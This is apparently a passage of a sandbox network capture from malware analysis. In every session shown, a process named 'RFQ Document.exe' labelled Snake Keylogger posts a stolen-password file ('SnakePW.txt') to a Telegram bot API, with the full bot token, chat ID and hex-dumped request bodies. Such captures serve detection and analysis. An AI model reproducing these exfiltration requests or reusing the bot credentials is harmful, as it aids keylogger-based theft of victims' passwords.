2021-09-28 05:58:24 UTC	33	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 34 35 32 62 31 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c452b1bfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:24 UTC	34	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:24 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:24 UTC	34	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12601,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808704,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.4	50031	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:17 UTC	334	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e3d92132 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:17 UTC	334	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 64 39 32 31 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e3d92132Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:17 UTC	335	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:17 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:17 UTC	335	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.4	50032	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:18 UTC	335	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e3f0fa00 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:18 UTC	336	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 66 30 66 61 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e3f0fa00Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:26 UTC	336	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:26 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:26 UTC	336	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 33 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 33 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 3","parameters":{"retry_after":3}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.4	50033	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:26 UTC	336	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e8ea1fc9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:26 UTC	337	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 38 65 61 31 66 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e8ea1fc9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:29 UTC	337	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:29 UTC	338	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 36 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12797,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808769,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.4	50034	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:29 UTC	338	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eac493ff Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:29 UTC	338	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 61 63 34 39 33 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eac493ffContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:29 UTC	339	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:29 UTC	339	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 36 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12799,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808769,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.4	50035	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:29 UTC	340	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eae12f37 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:29 UTC	340	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 61 65 31 32 66 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eae12f37Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:29 UTC	340	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:29 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:29 UTC	341	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 36 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12800,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808769,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.4	50036	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:29 UTC	341	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eaf905e4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:29 UTC	342	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 61 66 39 30 35 65 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eaf905e4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:29 UTC	342	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:29 UTC	342	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 36 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12801,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808769,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.4	50037	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:29 UTC	343	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eb180345 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:29 UTC	343	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 62 31 38 30 33 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eb180345Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:29 UTC	344	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:29 UTC	344	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 36 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12802,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808769,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.4	50038	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

